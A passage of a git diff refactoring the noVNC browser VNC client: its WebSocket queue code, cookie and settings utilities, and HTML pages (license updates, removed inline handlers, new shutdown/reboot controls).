+ return this._rQ;
+ },
-function rQpeek8() {
- return (rQ[rQi] );
-}
-function rQshift8() {
- return (rQ[rQi++] );
-}
-function rQunshift8(num) {
- if (rQi === 0) {
- rQ.unshift(num);
- } else {
- rQi -= 1;
- rQ[rQi] = num;
- }
+ get_rQi: function () {
+ return this._rQi;
+ },
-}
-function rQshift16() {
- return (rQ[rQi++] << 8) +
- (rQ[rQi++] );
-}
-function rQshift32() {
- return (rQ[rQi++] << 24) +
- (rQ[rQi++] << 16) +
- (rQ[rQi++] << 8) +
- (rQ[rQi++] );
-}
-function rQshiftStr(len) {
- if (typeof(len) === 'undefined') { len = rQlen(); }
- var arr = rQ.slice(rQi, rQi + len);
- rQi += len;
- return arr.map(function (num) {
- return String.fromCharCode(num); } ).join('');
+ set_rQi: function (val) {
+ this._rQi = val;
+ },
-}
-function rQshiftBytes(len) {
- if (typeof(len) === 'undefined') { len = rQlen(); }
- rQi += len;
- return rQ.slice(rQi-len, rQi);
-}
+ // Receive Queue
+ rQlen: function () {
+ return this._rQ.length - this._rQi;
+ },
-function rQslice(start, end) {
- if (end) {
- return rQ.slice(rQi + start, rQi + end);
- } else {
- return rQ.slice(rQi + start);
- }
-}
+ rQpeek8: function () {
+ return this._rQ[this._rQi];
+ },
-// Check to see if we must wait for 'num' bytes (default to FBU.bytes)
-// to be available in the receive queue. Return true if we need to
-// wait (and possibly print a debug message), otherwise false.
-function rQwait(msg, num, goback) {
- var rQlen = rQ.length - rQi; // Skip rQlen() function call
- if (rQlen < num) {
- if (goback) {
- if (rQi < goback) {
- throw("rQwait cannot backup " + goback + " bytes");
+ rQshift8: function () {
+ return this._rQ[this._rQi++];
+ },
+
+ rQskip8: function () {
+ this._rQi++;
+ },
+
+ rQskipBytes: function (num) {
+ this._rQi += num;
+ },
+
+ rQunshift8: function (num) {
+ if (this._rQi === 0) {
+ this._rQ.unshift(num);
+ } else {
+ this._rQi--;
+ this._rQ[this._rQi] = num;
}
- rQi -= goback;
- }
- //Util.Debug(" waiting for " + (num-rQlen) +
- // " " + msg + " byte(s)");
- return true; // true means need more data
- }
- return false;
-}
+ },
-//
-// Private utility routines
-//
+ rQshift16: function () {
+ return (this._rQ[this._rQi++] << 8) +
+ this._rQ[this._rQi++];
+ },
-function encode_message() {
- /* base64 encode */
- return Base64.encode(sQ);
-}
+ rQshift32: function () {
+ return (this._rQ[this._rQi++] << 24) +
+ (this._rQ[this._rQi++] << 16) +
+ (this._rQ[this._rQi++] << 8) +
+ this._rQ[this._rQi++];
+ },
-function decode_message(data) {
- //Util.Debug(">> decode_message: " + data);
- /* base64 decode */
- rQ = rQ.concat(Base64.decode(data, 0));
- //Util.Debug(">> decode_message, rQ: " + rQ);
-}
+ rQshiftStr: function (len) {
+ if (typeof(len) === 'undefined') { len = this.rQlen(); }
+ var arr = this._rQ.slice(this._rQi, this._rQi + len);
+ this._rQi += len;
+ return String.fromCharCode.apply(null, arr);
+ },
+ rQshiftBytes: function (len) {
+ if (typeof(len) === 'undefined') { len = this.rQlen(); }
+ this._rQi += len;
+ return this._rQ.slice(this._rQi - len, this._rQi);
+ },
-//
-// Public Send functions
-//
-
-function flush() {
- if (websocket.bufferedAmount !== 0) {
- Util.Debug("bufferedAmount: " + websocket.bufferedAmount);
- }
- if (websocket.bufferedAmount < api.maxBufferedAmount) {
- //Util.Debug("arr: " + arr);
- //Util.Debug("sQ: " + sQ);
- if (sQ.length > 0) {
- websocket.send(encode_message(sQ));
- sQ = [];
- }
- return true;
- } else {
- Util.Info("Delaying send, bufferedAmount: " +
- websocket.bufferedAmount);
- return false;
- }
-}
-
-// overridable for testing
-function send(arr) {
- //Util.Debug(">> send_array: " + arr);
- sQ = sQ.concat(arr);
- return flush();
-}
-
-function send_string(str) {
- //Util.Debug(">> send_string: " + str);
- api.send(str.split('').map(
- function (chr) { return chr.charCodeAt(0); } ) );
-}
-
-//
-// Other public functions
-
-function recv_message(e) {
- //Util.Debug(">> recv_message: " + e.data.length);
-
- try {
- decode_message(e.data);
- if (rQlen() > 0) {
- eventHandlers.message();
- // Compact the receive queue
- if (rQ.length > rQmax) {
- //Util.Debug("Compacting receive queue");
- rQ = rQ.slice(rQi);
- rQi = 0;
+ rQslice: function (start, end) {
+ if (end) {
+ return this._rQ.slice(this._rQi + start, this._rQi + end);
+ } else {
+ return this._rQ.slice(this._rQi + start);
}
- } else {
- Util.Debug("Ignoring empty message");
+ },
+
+ // Check to see if we must wait for 'num' bytes (default to FBU.bytes)
+ // to be available in the receive queue. Return true if we need to
+ // wait (and possibly print a debug message), otherwise false.
+ rQwait: function (msg, num, goback) {
+ var rQlen = this._rQ.length - this._rQi; // Skip rQlen() function call
+ if (rQlen < num) {
+ if (goback) {
+ if (this._rQi < goback) {
+ throw new Error("rQwait cannot backup " + goback + " bytes");
+ }
+ this._rQi -= goback;
+ }
+ return true; // true means need more data
+ }
+ return false;
+ },
+
+ // Send Queue
+
+ flush: function () {
+ if (this._websocket.bufferedAmount !== 0) {
+ Util.Debug("bufferedAmount: " + this._websocket.bufferedAmount);
+ }
+
+ if (this._websocket.bufferedAmount < this.maxBufferedAmount) {
+ if (this._sQ.length > 0) {
+ this._websocket.send(this._encode_message());
+ this._sQ = [];
+ }
+
+ return true;
+ } else {
+ Util.Info("Delaying send, bufferedAmount: " +
+ this._websocket.bufferedAmount);
+ return false;
+ }
+ },
+
+ send: function (arr) {
+ this._sQ = this._sQ.concat(arr);
+ return this.flush();
+ },
+
+ send_string: function (str) {
+ this.send(str.split('').map(function (chr) {
+ return chr.charCodeAt(0);
+ }));
+ },
+
+ // Event Handlers
+ on: function (evt, handler) {
+ this._eventHandlers[evt] = handler;
+ },
+
+ init: function (protocols, ws_schema) {
+ this._rQ = [];
+ this._rQi = 0;
+ this._sQ = [];
+ this._websocket = null;
+
+ // Check for full typed array support
+ var bt = false;
+ if (('Uint8Array' in window) &&
+ ('set' in Uint8Array.prototype)) {
+ bt = true;
+ }
+
+ // Check for full binary type support in WebSockets
+ // Inspired by:
+ // https://github.com/Modernizr/Modernizr/issues/370
+ // https://github.com/Modernizr/Modernizr/blob/master/feature-detects/websockets/binary.js
+ var wsbt = false;
+ try {
+ if (bt && ('binaryType' in WebSocket.prototype ||
+ !!(new WebSocket(ws_schema + '://.').binaryType))) {
+ Util.Info("Detected binaryType support in WebSockets");
+ wsbt = true;
+ }
+ } catch (exc) {
+ // Just ignore failed test localhost connection
+ }
+
+ // Default protocols if not specified
+ if (typeof(protocols) === "undefined") {
+ if (wsbt) {
+ protocols = ['binary', 'base64'];
+ } else {
+ protocols = 'base64';
+ }
+ }
+
+ if (!wsbt) {
+ if (protocols === 'binary') {
+ throw new Error('WebSocket binary sub-protocol requested but not supported');
+ }
+
+ if (typeof(protocols) === 'object') {
+ var new_protocols = [];
+
+ for (var i = 0; i < protocols.length; i++) {
+ if (protocols[i] === 'binary') {
+ Util.Error('Skipping unsupported WebSocket binary sub-protocol');
+ } else {
+ new_protocols.push(protocols[i]);
+ }
+ }
+
+ if (new_protocols.length > 0) {
+ protocols = new_protocols;
+ } else {
+ throw new Error("Only WebSocket binary sub-protocol was requested and is not supported.");
+ }
+ }
+ }
+
+ return protocols;
+ },
+
+ open: function (uri, protocols) {
+ var ws_schema = uri.match(/^([a-z]+):\/\//)[1];
+ protocols = this.init(protocols, ws_schema);
+
+ this._websocket = new WebSocket(uri, protocols);
+
+ if (protocols.indexOf('binary') >= 0) {
+ this._websocket.binaryType = 'arraybuffer';
+ }
+
+ this._websocket.onmessage = this._recv_message.bind(this);
+ this._websocket.onopen = (function () {
+ Util.Debug('>> WebSock.onopen');
+ if (this._websocket.protocol) {
+ this._mode = this._websocket.protocol;
+ Util.Info("Server choose sub-protocol: " + this._websocket.protocol);
+ } else {
+ this._mode = 'base64';
+ Util.Error('Server select no sub-protocol!: ' + this._websocket.protocol);
+ }
+ this._eventHandlers.open();
+ Util.Debug("<< WebSock.onopen");
+ }).bind(this);
+ this._websocket.onclose = (function (e) {
+ Util.Debug(">> WebSock.onclose");
+ this._eventHandlers.close(e);
+ Util.Debug("<< WebSock.onclose");
+ }).bind(this);
+ this._websocket.onerror = (function (e) {
+ Util.Debug(">> WebSock.onerror: " + e);
+ this._eventHandlers.error(e);
+ Util.Debug("<< WebSock.onerror: " + e);
+ }).bind(this);
+ },
+
+ close: function () {
+ if (this._websocket) {
+ if ((this._websocket.readyState === WebSocket.OPEN) ||
+ (this._websocket.readyState === WebSocket.CONNECTING)) {
+ Util.Info("Closing WebSocket connection");
+ this._websocket.close();
+ }
+
+ this._websocket.onmessage = function (e) { return; };
+ }
+ },
+
+ // private methods
+ _encode_message: function () {
+ if (this._mode === 'binary') {
+ // Put in a binary arraybuffer
+ return (new Uint8Array(this._sQ)).buffer;
+ } else {
+ // base64 encode
+ return Base64.encode(this._sQ);
+ }
+ },
+
+ _decode_message: function (data) {
+ if (this._mode === 'binary') {
+ // push arraybuffer values onto the end
+ var u8 = new Uint8Array(data);
+ for (var i = 0; i < u8.length; i++) {
+ this._rQ.push(u8[i]);
+ }
+ } else {
+ // base64 decode and concat to end
+ this._rQ = this._rQ.concat(Base64.decode(data, 0));
+ }
+ },
+
+ _recv_message: function (e) {
+ try {
+ this._decode_message(e.data);
+ if (this.rQlen() > 0) {
+ this._eventHandlers.message();
+ // Compact the receive queue
+ if (this._rQ.length > this._rQmax) {
+ this._rQ = this._rQ.slice(this._rQi);
+ this._rQi = 0;
+ }
+ } else {
+ Util.Debug("Ignoring empty message");
+ }
+ } catch (exc) {
+ var exception_str = "";
+ if (exc.name) {
+ exception_str += "\n name: " + exc.name + "\n";
+ exception_str += " message: " + exc.message + "\n";
+ }
+
+ if (typeof exc.description !== 'undefined') {
+ exception_str += " description: " + exc.description + "\n";
+ }
+
+ if (typeof exc.stack !== 'undefined') {
+ exception_str += exc.stack;
+ }
+
+ if (exception_str.length > 0) {
+ Util.Error("recv_message, caught exception: " + exception_str);
+ } else {
+ Util.Error("recv_message, caught exception: " + exc);
+ }
+
+ if (typeof exc.name !== 'undefined') {
+ this._eventHandlers.error(exc.name + ": " + exc.message);
+ } else {
+ this._eventHandlers.error(exc);
+ }
+ }
}
- } catch (exc) {
- if (typeof exc.stack !== 'undefined') {
- Util.Warn("recv_message, caught exception: " + exc.stack);
- } else if (typeof exc.description !== 'undefined') {
- Util.Warn("recv_message, caught exception: " + exc.description);
- } else {
- Util.Warn("recv_message, caught exception:" + exc);
- }
- if (typeof exc.name !== 'undefined') {
- eventHandlers.error(exc.name + ": " + exc.message);
- } else {
- eventHandlers.error(exc);
- }
- }
- //Util.Debug("<< recv_message");
-}
-
-
-// Set event handlers
-function on(evt, handler) {
- eventHandlers[evt] = handler;
-}
-
-function init() {
- rQ = [];
- rQi = 0;
- sQ = [];
- websocket = null;
-}
-
-function open(uri) {
- init();
-
- if (test_mode) {
- websocket = {};
- } else {
- websocket = new WebSocket(uri, 'base64');
- // TODO: future native binary support
- //websocket = new WebSocket(uri, ['binary', 'base64']);
- }
-
- websocket.onmessage = recv_message;
- websocket.onopen = function() {
- Util.Debug(">> WebSock.onopen");
- if (websocket.protocol) {
- Util.Info("Server chose sub-protocol: " + websocket.protocol);
- }
- eventHandlers.open();
- Util.Debug("<< WebSock.onopen");
};
- websocket.onclose = function(e) {
- Util.Debug(">> WebSock.onclose");
- eventHandlers.close(e);
- Util.Debug("<< WebSock.onclose");
- };
- websocket.onerror = function(e) {
- Util.Debug(">> WebSock.onerror: " + e);
- eventHandlers.error(e);
- Util.Debug("<< WebSock.onerror");
- };
-}
-
-function close() {
- if (websocket) {
- if ((websocket.readyState === WebSocket.OPEN) ||
- (websocket.readyState === WebSocket.CONNECTING)) {
- Util.Info("Closing WebSocket connection");
- websocket.close();
- }
- websocket.onmessage = function (e) { return; };
- }
-}
-
-// Override internal functions for testing
-// Takes a send function, returns reference to recv function
-function testMode(override_send) {
- test_mode = true;
- api.send = override_send;
- api.close = function () {};
- return recv_message;
-}
-
-function constructor() {
- // Configuration settings
- api.maxBufferedAmount = 200;
-
- // Direct access to send and receive queues
- api.get_sQ = get_sQ;
- api.get_rQ = get_rQ;
- api.get_rQi = get_rQi;
- api.set_rQi = set_rQi;
-
- // Routines to read from the receive queue
- api.rQlen = rQlen;
- api.rQpeek8 = rQpeek8;
- api.rQshift8 = rQshift8;
- api.rQunshift8 = rQunshift8;
- api.rQshift16 = rQshift16;
- api.rQshift32 = rQshift32;
- api.rQshiftStr = rQshiftStr;
- api.rQshiftBytes = rQshiftBytes;
- api.rQslice = rQslice;
- api.rQwait = rQwait;
-
- api.flush = flush;
- api.send = send;
- api.send_string = send_string;
-
- api.on = on;
- api.init = init;
- api.open = open;
- api.close = close;
- api.testMode = testMode;
-
- return api;
-}
-
-return constructor();
-
-}
+})();
diff --git a/webclients/novnc/include/webutil.js b/webclients/novnc/include/webutil.js
index 7a0a076..e674bf9 100644
--- a/webclients/novnc/include/webutil.js
+++ b/webclients/novnc/include/webutil.js
@@ -1,13 +1,13 @@
/*
* noVNC: HTML5 VNC client
- * Copyright (C) 2011 Joel Martin
- * Licensed under LGPL-3 (see LICENSE.txt)
+ * Copyright (C) 2012 Joel Martin
+ * Copyright (C) 2013 NTT corp.
+ * Licensed under MPL 2.0 (see LICENSE.txt)
*
* See README.md for usage and integration instructions.
*/
-"use strict";
-/*jslint bitwise: false, white: false */
+/*jslint bitwise: false, white: false, browser: true, devel: true */
/*global Util, window, document */
// Globals defined here
@@ -30,43 +30,47 @@
}
-/*
+/*
* ------------------------------------------------------
* Namespaced in WebUtil
* ------------------------------------------------------
*/
// init log level reading the logging HTTP param
-WebUtil.init_logging = function() {
- Util._log_level = (document.location.href.match(
- /logging=([A-Za-z0-9\._\-]*)/) ||
- ['', Util._log_level])[1];
-
+WebUtil.init_logging = function (level) {
+ "use strict";
+ if (typeof level !== "undefined") {
+ Util._log_level = level;
+ } else {
+ var param = document.location.href.match(/logging=([A-Za-z0-9\._\-]*)/);
+ Util._log_level = (param || ['', Util._log_level])[1];
+ }
Util.init_logging();
};
-WebUtil.init_logging();
WebUtil.dirObj = function (obj, depth, parent) {
- var i, msg = "", val = "";
- if (! depth) { depth=2; }
- if (! parent) { parent= ""; }
+ "use strict";
+ if (! depth) { depth = 2; }
+ if (! parent) { parent = ""; }
- // Print the properties of the passed-in object
- for (i in obj) {
- if ((depth > 1) && (typeof obj[i] === "object")) {
+ // Print the properties of the passed-in object
+ var msg = "";
+ for (var i in obj) {
+ if ((depth > 1) && (typeof obj[i] === "object")) {
// Recurse attributes that are objects
- msg += WebUtil.dirObj(obj[i], depth-1, parent + "." + i);
+ msg += WebUtil.dirObj(obj[i], depth - 1, parent + "." + i);
} else {
//val = new String(obj[i]).replace("\n", " ");
+ var val = "";
if (typeof(obj[i]) === "undefined") {
val = "undefined";
} else {
val = obj[i].toString().replace("\n", " ");
}
if (val.length > 30) {
- val = val.substr(0,30) + "...";
- }
+ val = val.substr(0, 30) + "...";
+ }
msg += parent + "." + i + ": " + val + "\n";
}
}
@@ -74,10 +78,16 @@
};
// Read a query string variable
-WebUtil.getQueryVar = function(name, defVal) {
- var re = new RegExp('[?][^#]*' + name + '=([^&#]*)');
+WebUtil.getQueryVar = function (name, defVal) {
+ "use strict";
+ var re = new RegExp('.*[?&]' + name + '=([^&#]*)'),
+ match = document.location.href.match(re);
if (typeof defVal === 'undefined') { defVal = null; }
- return (document.location.href.match(re) || ['',defVal])[1];
+ if (match) {
+ return decodeURIComponent(match[1]);
+ } else {
+ return defVal;
+ }
};
@@ -86,39 +96,118 @@
*/
// No days means only for this browser session
-WebUtil.createCookie = function(name,value,days) {
+WebUtil.createCookie = function (name, value, days) {
+ "use strict";
var date, expires;
if (days) {
date = new Date();
- date.setTime(date.getTime()+(days*24*60*60*1000));
- expires = "; expires="+date.toGMTString();
- }
- else {
+ date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
+ expires = "; expires=" + date.toGMTString();
+ } else {
expires = "";
}
- document.cookie = name+"="+value+expires+"; path=/";
+
+ var secure;
+ if (document.location.protocol === "https:") {
+ secure = "; secure";
+ } else {
+ secure = "";
+ }
+ document.cookie = name + "=" + value + expires + "; path=/" + secure;
};
-WebUtil.readCookie = function(name, defaultValue) {
- var i, c, nameEQ = name + "=", ca = document.cookie.split(';');
- for(i=0; i < ca.length; i += 1) {
- c = ca[i];
- while (c.charAt(0) === ' ') { c = c.substring(1,c.length); }
- if (c.indexOf(nameEQ) === 0) { return c.substring(nameEQ.length,c.length); }
+WebUtil.readCookie = function (name, defaultValue) {
+ "use strict";
+ var nameEQ = name + "=",
+ ca = document.cookie.split(';');
+
+ for (var i = 0; i < ca.length; i += 1) {
+ var c = ca[i];
+ while (c.charAt(0) === ' ') { c = c.substring(1, c.length); }
+ if (c.indexOf(nameEQ) === 0) { return c.substring(nameEQ.length, c.length); }
}
return (typeof defaultValue !== 'undefined') ? defaultValue : null;
};
-WebUtil.eraseCookie = function(name) {
- WebUtil.createCookie(name,"",-1);
+WebUtil.eraseCookie = function (name) {
+ "use strict";
+ WebUtil.createCookie(name, "", -1);
+};
+
+/*
+ * Setting handling.
+ */
+
+WebUtil.initSettings = function (callback /*, ...callbackArgs */) {
+ "use strict";
+ var callbackArgs = Array.prototype.slice.call(arguments, 1);
+ if (window.chrome && window.chrome.storage) {
+ window.chrome.storage.sync.get(function (cfg) {
+ WebUtil.settings = cfg;
+ console.log(WebUtil.settings);
+ if (callback) {
+ callback.apply(this, callbackArgs);
+ }
+ });
+ } else {
+ // No-op
+ if (callback) {
+ callback.apply(this, callbackArgs);
+ }
+ }
+};
+
+// No days means only for this browser session
+WebUtil.writeSetting = function (name, value) {
+ "use strict";
+ if (window.chrome && window.chrome.storage) {
+ //console.log("writeSetting:", name, value);
+ if (WebUtil.settings[name] !== value) {
+ WebUtil.settings[name] = value;
+ window.chrome.storage.sync.set(WebUtil.settings);
+ }
+ } else {
+ localStorage.setItem(name, value);
+ }
+};
+
+WebUtil.readSetting = function (name, defaultValue) {
+ "use strict";
+ var value;
+ if (window.chrome && window.chrome.storage) {
+ value = WebUtil.settings[name];
+ } else {
+ value = localStorage.getItem(name);
+ }
+ if (typeof value === "undefined") {
+ value = null;
+ }
+ if (value === null && typeof defaultValue !== undefined) {
+ return defaultValue;
+ } else {
+ return value;
+ }
+};
+
+WebUtil.eraseSetting = function (name) {
+ "use strict";
+ if (window.chrome && window.chrome.storage) {
+ window.chrome.storage.sync.remove(name);
+ delete WebUtil.settings[name];
+ } else {
+ localStorage.removeItem(name);
+ }
};
/*
* Alternate stylesheet selection
*/
-WebUtil.getStylesheets = function() { var i, links, sheets = [];
- links = document.getElementsByTagName("link");
- for (i = 0; i < links.length; i += 1) {
+WebUtil.getStylesheets = function () {
+ "use strict";
+ var links = document.getElementsByTagName("link");
+ var sheets = [];
+
+ for (var i = 0; i < links.length; i += 1) {
if (links[i].title &&
links[i].rel.toUpperCase().indexOf("STYLESHEET") > -1) {
sheets.push(links[i]);
@@ -129,14 +218,16 @@
// No sheet means try and use value from cookie, null sheet used to
// clear all alternates.
-WebUtil.selectStylesheet = function(sheet) {
- var i, link, sheets = WebUtil.getStylesheets();
+WebUtil.selectStylesheet = function (sheet) {
+ "use strict";
if (typeof sheet === 'undefined') {
sheet = 'default';
}
- for (i=0; i < sheets.length; i += 1) {
- link = sheets[i];
- if (link.title === sheet) {
+
+ var sheets = WebUtil.getStylesheets();
+ for (var i = 0; i < sheets.length; i += 1) {
+ var link = sheets[i];
+ if (link.title === sheet) {
Util.Debug("Using stylesheet " + sheet);
link.disabled = false;
} else {
diff --git a/webclients/novnc/vnc.html b/webclients/novnc/vnc.html
index b6cf85b..adb0157 100644
--- a/webclients/novnc/vnc.html
+++ b/webclients/novnc/vnc.html
@@ -1,11 +1,16 @@
-<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.1//EN" "http://www.openmobilealliance.org/tech/DTD/xhtml-mobile11.dtd">
+<!DOCTYPE html>
<html>
<head>
- <!--
+ <!--
noVNC example: simple example using default UI
- Copyright (C) 2011 Joel Martin
- Licensed under LGPL-3 (see LICENSE.txt)
+ Copyright (C) 2012 Joel Martin
+ Copyright (C) 2013 Samuel Mannehed for Cendio AB
+ noVNC is licensed under the MPL 2.0 (see LICENSE.txt)
+ This file is licensed under the 2-Clause BSD license (see LICENSE.txt).
+
+ Connect parameters are provided in query string:
+ http://example.com/?host=HOST&port=PORT&encrypt=1&true_color=1
-->
<title>noVNC</title>
@@ -18,7 +23,7 @@
<!-- Apple iOS Safari settings -->
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<meta name="apple-mobile-web-app-capable" content="yes" />
- <meta names="apple-mobile-web-app-status-bar-style" content="black-translucent" />
+ <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
<!-- App Start Icon -->
<link rel="apple-touch-startup-image" href="images/screen_320x460.png" />
<!-- For iOS devices set the icon to use if user bookmarks app on their homescreen -->
@@ -38,70 +43,77 @@
src='http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js'></script>
-->
- <script src="include/vnc.js"></script>
- <script src="include/ui.js"></script>
-
</head>
<body>
<div id="noVNC-control-bar">
<!--noVNC Mobile Device only Buttons-->
<div class="noVNC-buttons-left">
- <input type="image" src="images/drag.png"
+ <input type="image" alt="viewport drag" src="images/drag.png"
id="noVNC_view_drag_button" class="noVNC_status_button"
- title="Move/Drag Viewport"
- onclick="UI.setViewDrag();">
+ title="Move/Drag Viewport">
<div id="noVNC_mobile_buttons">
- <input type="image" src="images/mouse_none.png"
- id="noVNC_mouse_button0" class="noVNC_status_button"
- onclick="UI.setMouseButton(1);">
- <input type="image" src="images/mouse_left.png"
- id="noVNC_mouse_button1" class="noVNC_status_button"
- onclick="UI.setMouseButton(2);">
- <input type="image" src="images/mouse_middle.png"
- id="noVNC_mouse_button2" class="noVNC_status_button"
- onclick="UI.setMouseButton(4);">
- <input type="image" src="images/mouse_right.png"
- id="noVNC_mouse_button4" class="noVNC_status_button"
- onclick="UI.setMouseButton(0);">
- <input type="image" src="images/keyboard.png"
+ <input type="image" alt="No mousebutton" src="images/mouse_none.png"
+ id="noVNC_mouse_button0" class="noVNC_status_button">
+ <input type="image" alt="Left mousebutton" src="images/mouse_left.png"
+ id="noVNC_mouse_button1" class="noVNC_status_button">
+ <input type="image" alt="Middle mousebutton" src="images/mouse_middle.png"
+ id="noVNC_mouse_button2" class="noVNC_status_button">
+ <input type="image" alt="Right mousebutton" src="images/mouse_right.png"
+ id="noVNC_mouse_button4" class="noVNC_status_button">
+ <input type="image" alt="Keyboard" src="images/keyboard.png"
id="showKeyboard" class="noVNC_status_button"
- value="Keyboard" title="Show Keyboard"
- onclick="UI.showKeyboard()"/>
- <input type="email"
- autocapitalize="off" autocorrect="off"
- id="keyboardinput" class="noVNC_status_button"
- onKeyDown="onKeyDown(event);" onblur="UI.keyInputBlur();"/>
+ value="Keyboard" title="Show Keyboard"/>
+ <!-- Note that Google Chrome on Android doesn't respect any of these,
+ html attributes which attempt to disable text suggestions on the
+ on-screen keyboard. Let's hope Chrome implements the ime-mode
+ style for example -->
+ <textarea id="keyboardinput" autocapitalize="off"
+ autocorrect="off" autocomplete="off" spellcheck="false"
+ mozactionhint="Enter" onsubmit="return false;"
+ style="ime-mode: disabled;"></textarea>
+ <div id="noVNC_extra_keys">
+ <input type="image" alt="Extra keys" src="images/showextrakeys.png"
+ id="showExtraKeysButton" class="noVNC_status_button">
+ <input type="image" alt="Ctrl" src="images/ctrl.png"
+ id="toggleCtrlButton" class="noVNC_status_button">
+ <input type="image" alt="Alt" src="images/alt.png"
+ id="toggleAltButton" class="noVNC_status_button">
+ <input type="image" alt="Tab" src="images/tab.png"
+ id="sendTabButton" class="noVNC_status_button">
+ <input type="image" alt="Esc" src="images/esc.png"
+ id="sendEscButton" class="noVNC_status_button">
+ </div>
</div>
</div>
+ <div id="noVNC_status">Loading</div>
+
<!--noVNC Buttons-->
<div class="noVNC-buttons-right">
- <input type="image" src="images/ctrlaltdel.png"
- id="sendCtrlAltDelButton" class="noVNC_status_button"
- title="Send Ctrl-Alt-Del"
- onclick="UI.sendCtrlAltDel();" />
- <input type="image" src="images/clipboard.png"
+ <input type="image" alt="Ctrl+Alt+Del" src="images/ctrlaltdel.png"
+ id="sendCtrlAltDelButton" class="noVNC_status_button"
+ title="Send Ctrl-Alt-Del" />
+ <input type="image" alt="Shutdown/Reboot" src="images/power.png"
+ id="xvpButton" class="noVNC_status_button"
+ title="Shutdown/Reboot..." />
+ <input type="image" alt="Clipboard" src="images/clipboard.png"
id="clipboardButton" class="noVNC_status_button"
- title="Clipboard"
- onclick="UI.toggleClipboardPanel();" />
- <input type="image" src="images/settings.png"
+ title="Clipboard" />
+ <input type="image" alt="Settings" src="images/settings.png"
id="settingsButton" class="noVNC_status_button"
- title="Settings"
- onclick="UI.toggleSettingsPanel();" />
- <input type="image" src="images/connect.png"
+ title="Settings" />
+ <input type="image" alt="Connect" src="images/connect.png"
id="connectButton" class="noVNC_status_button"
- title="Connect"
- onclick="UI.toggleConnectPanel()" />
- <input type="image" src="images/disconnect.png"
+ title="Connect" />
+ <input type="image" alt="Disconnect" src="images/disconnect.png"
id="disconnectButton" class="noVNC_status_button"
- title="Disconnect"
- onclick="UI.disconnect()" />
+ title="Disconnect" />
</div>
<!-- Description Panel -->
<!-- Shown by default when hosted at for kanaka.github.com -->
- <div id="noVNC_description" style="display:none;" class="">
+ <div id="noVNC_description" class="">
noVNC is a browser based VNC client implemented using HTML5 Canvas
and WebSockets. You will either need a VNC server with WebSockets
support (such as <a href="http://libvncserver.sourceforge.net/">libvncserver</a>)
@@ -112,25 +124,34 @@
and <a href="http://kanaka.github.com/noVNC">website</a>
for more information.
<br />
- <input type="button" value="Close"
- onclick="UI.toggleConnectPanel();">
+ <input id="descriptionButton" type="button" value="Close">
+ </div>
+
+ <!-- Popup Status Panel -->
+ <div id="noVNC_popup_status_panel" class="">
</div>
<!-- Clipboard Panel -->
<div id="noVNC_clipboard" class="triangle-right top">
- <textarea id="noVNC_clipboard_text" rows=5
- onfocus="UI.displayBlur();" onblur="UI.displayFocus();"
- onchange="UI.clipSend();">
+ <textarea id="noVNC_clipboard_text" rows=5>
</textarea>
<br />
<input id="noVNC_clipboard_clear_button" type="button"
- value="Clear" onclick="UI.clipClear();">
+ value="Clear">
+ </div>
+
+ <!-- XVP Shutdown/Reboot Panel -->
+ <div id="noVNC_xvp" class="triangle-right top">
+ <span id="noVNC_xvp_menu">
+ <input type="button" id="xvpShutdownButton" value="Shutdown" />
+ <input type="button" id="xvpRebootButton" value="Reboot" />
+ <input type="button" id="xvpResetButton" value="Reset" />
+ </span>
</div>
<!-- Settings Panel -->
<div id="noVNC_settings" class="triangle-right top">
- <span id="noVNC_settings_menu" onmouseover="UI.displayBlur();"
- onmouseout="UI.displayFocus();">
+ <span id="noVNC_settings_menu">
<ul>
<li><input id="noVNC_encrypt" type="checkbox"> Encrypt</li>
<li><input id="noVNC_true_color" type="checkbox" checked> True Color</li>
@@ -138,8 +159,8 @@
<li><input id="noVNC_clip" type="checkbox"> Clip to Window</li>
<li><input id="noVNC_shared" type="checkbox"> Shared Mode</li>
<li><input id="noVNC_view_only" type="checkbox"> View Only</li>
- <li><input id="noVNC_connectTimeout" type="input"> Connect Timeout (s)</li>
<li><input id="noVNC_path" type="input" value="websockify"> Path</li>
+ <li><input id="noVNC_repeaterID" type="input" value=""> Repeater ID</li>
<hr>
<!-- Stylesheet selection dropdown -->
<li><label><strong>Style: </strong>
@@ -154,8 +175,7 @@
</select></label>
</li>
<hr>
- <li><input type="button" id="noVNC_apply" value="Apply"
- onclick="UI.settingsApply()"></li>
+ <li><input type="button" id="noVNC_apply" value="Apply"></li>
</ul>
</span>
</div>
@@ -166,7 +186,7 @@
<li><label><strong>Host: </strong><input id="noVNC_host" /></label></li>
<li><label><strong>Port: </strong><input id="noVNC_port" /></label></li>
<li><label><strong>Password: </strong><input id="noVNC_password" type="password" /></label></li>
- <li><input id="noVNC_connect_button" type="button" value="Connect" onclick="UI.connect();"></li>
+ <li><input id="noVNC_connect_button" type="button" value="Connect"></li>
</ul>
</div>
@@ -176,10 +196,6 @@
<div id="noVNC_screen">
<div id="noVNC_screen_pad"></div>
- <div id="noVNC_status_bar" class="noVNC_status_bar">
- <div id="noVNC_status">Loading</div>
- </div>
-
<h1 id="noVNC_logo"><span>no</span><br />VNC</h1>
<!-- HTML5 Canvas -->
@@ -190,9 +206,8 @@
</div>
</div>
+ <script src="include/util.js"></script>
+ <script src="include/ui.js"></script>
- <script>
- window.onload = UI.load;
- </script>
</body>
</html>
diff --git a/webclients/novnc/vnc_auto.html b/webclients/novnc/vnc_auto.html
index 8d370b5..ff376fe 100644
--- a/webclients/novnc/vnc_auto.html
+++ b/webclients/novnc/vnc_auto.html
@@ -1,32 +1,66 @@
<!DOCTYPE html>
<html>
- <!--
- noVNC Example: Automatically connect on page load.
- Copyright (C) 2011 Joel Martin
- Licensed under LGPL-3 (see LICENSE.txt)
+<head>
+
+ <!--
+ noVNC example: simple example using default UI
+ Copyright (C) 2012 Joel Martin
+ Copyright (C) 2013 Samuel Mannehed for Cendio AB
+ noVNC is licensed under the MPL 2.0 (see LICENSE.txt)
+ This file is licensed under the 2-Clause BSD license (see LICENSE.txt).
Connect parameters are provided in query string:
http://example.com/?host=HOST&port=PORT&encrypt=1&true_color=1
-->
- <head>
- <title>noVNC</title>
- <meta http-equiv="X-UA-Compatible" content="chrome=1">
- <link rel="stylesheet" href="include/base.css" title="plain">
- <!--
- <script type='text/javascript'
